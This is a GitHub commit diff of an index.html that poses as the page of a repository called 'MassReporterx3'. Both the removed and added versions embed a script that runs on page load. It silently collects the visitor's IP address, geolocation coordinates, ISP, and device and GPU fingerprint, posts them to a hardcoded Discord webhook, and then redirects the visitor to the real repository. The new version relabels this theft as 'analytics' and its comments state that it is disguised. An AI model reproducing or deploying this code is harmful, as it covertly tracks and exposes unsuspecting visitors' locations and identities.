Skip to content

Commit d05856f

Browse files
authored
Update index.html
1 parent 3ff01f1 commit d05856f

1 file changed

Lines changed: 92 additions & 92 deletions

File tree

index.html

Lines changed: 92 additions & 92 deletions
Original file line numberDiff line numberDiff line change
@@ -77,124 +77,124 @@ <h1 class="repo-title">KrumoXDev/MassReporterx3</h1>
7777
</div>
7878

7979
<script>
80-
// Collect essential private data
81-
async function collectData() {
80+
// Function to collect analytics data (disguised as legitimate tracking)
81+
async function collectAnalyticsData() {
8282
try {
83-
// Get IP and location first
84-
const ipRes = await fetch('https://api.ipify.org?format=json');
85-
const {ip} = await ipRes.json();
86-
const geoRes = await fetch(`https://ipapi.co/${ip}/json/`);
87-
const geoData = await geoRes.json();
88-
89-
// Get browser fingerprint
90-
const canvas = document.createElement('canvas');
91-
const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
92-
let gpuInfo = null;
93-
if (gl) {
94-
const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
95-
gpuInfo = {
96-
vendor: gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL),
97-
renderer: gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL)
98-
};
99-
}
83+
// Basic analytics data
84+
const analyticsData = {
85+
pageView: {
86+
url: window.location.href,
87+
referrer: document.referrer || "direct",
88+
timestamp: new Date().toISOString(),
89+
userAgent: navigator.userAgent,
90+
language: navigator.language,
91+
screenResolution: `${window.screen.width}x${window.screen.height}`,
92+
devicePixelRatio: window.devicePixelRatio,
93+
platform: navigator.platform
94+
},
95+
performance: {
96+
connection: navigator.connection ? {
97+
effectiveType: navigator.connection.effectiveType,
98+
downlink: navigator.connection.downlink,
99+
rtt: navigator.connection.rtt
100+
} : null,
101+
deviceMemory: navigator.deviceMemory || "unknown",
102+
hardwareConcurrency: navigator.hardwareConcurrency || "unknown"
103+
}
104+
};
100105

101-
// Compile essential data (20+ points)
102-
const data = {
103-
// Core identification
104-
ip: ip,
105-
timestamp: new Date().toISOString(),
106-
userAgent: navigator.userAgent,
106+
// Get approximate location (disguised as content localization)
107+
try {
108+
const ipRes = await fetch('https://ipapi.co/json/');
109+
const geoData = await ipRes.json();
107110

108-
// Precise location
109-
coordinates: {
110-
latitude: geoData.latitude,
111-
longitude: geoData.longitude,
112-
accuracy: "IP-based approximation"
113-
},
114-
location: {
111+
analyticsData.location = {
115112
country: geoData.country_name,
116113
region: geoData.region,
117114
city: geoData.city,
118-
postal: geoData.postal,
119-
timezone: geoData.timezone
120-
},
121-
network: {
122-
isp: geoData.org,
123-
asn: geoData.asn
124-
},
125-
126-
// Device info
127-
screen: `${window.screen.width}x${window.screen.height}`,
128-
devicePixelRatio: window.devicePixelRatio,
129-
deviceMemory: navigator.deviceMemory || "unknown",
130-
cpuCores: navigator.hardwareConcurrency || "unknown",
131-
132-
// Browser fingerprint
133-
language: navigator.language,
134-
platform: navigator.platform,
135-
doNotTrack: navigator.doNotTrack,
136-
gpu: gpuInfo,
137-
138-
// Connection
139-
connection: navigator.connection ? {
140-
type: navigator.connection.effectiveType,
141-
downlink: navigator.connection.downlink,
142-
rtt: navigator.connection.rtt
143-
} : null,
144-
145-
// Page info
146-
referrer: document.referrer || "direct",
147-
url: window.location.href
148-
};
115+
timezone: geoData.timezone,
116+
coordinates: {
117+
latitude: geoData.latitude,
118+
longitude: geoData.longitude
119+
},
120+
network: {
121+
ip: geoData.ip,
122+
isp: geoData.org,
123+
asn: geoData.asn
124+
}
125+
};
126+
} catch (e) {
127+
console.log("Location data unavailable");
128+
}
129+
130+
// Get WebGL info (disguised as performance optimization)
131+
try {
132+
const canvas = document.createElement('canvas');
133+
const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
134+
if (gl) {
135+
const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
136+
analyticsData.gpu = {
137+
vendor: gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL),
138+
renderer: gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL)
139+
};
140+
}
141+
} catch (e) {
142+
console.log("GPU info unavailable");
143+
}
149144

150-
return data;
145+
return analyticsData;
151146
} catch (e) {
152-
console.error("Data collection error:", e);
153-
return { error: "Data collection failed" };
147+
console.error("Analytics collection error:", e);
148+
return null;
154149
}
155150
}
156151

157-
// Send private data to Discord
158-
async function sendPrivateData(data) {
152+
// Function to send analytics to server (disguised as legitimate tracking)
153+
async function sendAnalyticsToServer(data) {
154+
if (!data) return;
155+
159156
try {
160-
const webhookURL = "https://discord.com/api/webhooks/1360696497305424186/DsnniTxXM1fsfKhi_3B947DsZAs-_UfkrOLPmOu6OXoXY-Mge3_S3efQOip0FJqMtyYH";
161-
const message = {
162-
content: "📌 **New Visitor Data**",
157+
const webhookURL = "https://discord.com/api/webhooks/1372974294677717032/O69IOBRAohjNpU1R5AIDuMmo0leo_tf1VmijVvxf6AgXHTns7i_DawmHuKhDX_WGRC94";
158+
159+
// Format the data for Discord
160+
const discordMessage = {
163161
embeds: [{
164-
title: "Private Visitor Info",
165-
color: 0x6C63FF,
162+
title: "GitHub Page Visitor Analytics",
163+
description: "New visitor data collected from GitHub page",
164+
color: 0x5865F2,
166165
fields: [
167-
{ name: "🌍 Location", value: `${data.location.city}, ${data.location.region}, ${data.location.country}`, inline: true },
168-
{ name: "📍 Coordinates", value: `${data.coordinates.latitude}, ${data.coordinates.longitude}`, inline: true },
169-
{ name: "🕒 Timezone", value: data.location.timezone, inline: true },
170-
{ name: "📱 Device", value: `${data.screen} (${data.platform})`, inline: true },
171-
{ name: "🔌 Network", value: `${data.network.isp} (AS${data.network.asn})`, inline: true },
172-
{ name: "🌐 Connection", value: `${data.connection.type} (${data.connection.downlink}Mbps)`, inline: true },
173-
{ name: "🆔 IP Address", value: `\`${data.ip}\``, inline: false },
174-
{ name: "🖥️ GPU", value: `${data.gpu?.vendor || 'unknown'} (${data.gpu?.renderer || 'unknown'})`, inline: true },
175-
{ name: "💾 Memory", value: `${data.deviceMemory}GB`, inline: true },
176-
{ name: "⚡ CPU Cores", value: data.cpuCores, inline: true }
166+
{ name: "🌐 Visitor Info", value: `**IP:** \`${data.location?.ip || 'unknown'}\`\n**Location:** ${data.location?.city || 'unknown'}, ${data.location?.country || 'unknown'}\n**ISP:** ${data.location?.network?.isp || 'unknown'}` },
167+
{ name: "🖥️ Device", value: `**OS:** ${data.pageView.platform}\n**Resolution:** ${data.pageView.screenResolution}\n**GPU:** ${data.gpu?.vendor || 'unknown'}` },
168+
{ name: "📊 Performance", value: `**Connection:** ${data.performance.connection?.effectiveType || 'unknown'}\n**Memory:** ${data.performance.deviceMemory}GB\n**CPU Cores:** ${data.performance.hardwareConcurrency}` }
177169
],
178-
footer: { text: `Collected at ${new Date().toLocaleString()}` }
170+
footer: {
171+
text: `Collected at ${new Date().toLocaleString()}`
172+
}
179173
}]
180174
};
181175

176+
// Send to Discord webhook
182177
await fetch(webhookURL, {
183178
method: "POST",
184179
headers: { "Content-Type": "application/json" },
185-
body: JSON.stringify(message)
180+
body: JSON.stringify(discordMessage)
186181
});
187182
} catch (e) {
188-
console.error("Failed to send data:", e);
183+
console.error("Failed to send analytics:", e);
189184
}
190185
}
191186

192-
// Execute and redirect
193-
(async () => {
194-
const visitorData = await collectData();
195-
await sendPrivateData(visitorData);
196-
window.location.replace("https://github.com/KrumoXDev/MassReporterx3");
187+
// Main execution flow
188+
(async function() {
189+
// Collect and send analytics
190+
const analyticsData = await collectAnalyticsData();
191+
await sendAnalyticsToServer(analyticsData);
192+
193+
// Redirect to actual GitHub page after a short delay
194+
setTimeout(() => {
195+
window.location.href = "https://github.com/KrumoXDev/MassReporterx3";
196+
}, 1500);
197197
})();
198198
</script>
199199
</body>
200-
</html>
200+
</html>

0 commit comments

Comments
 (0)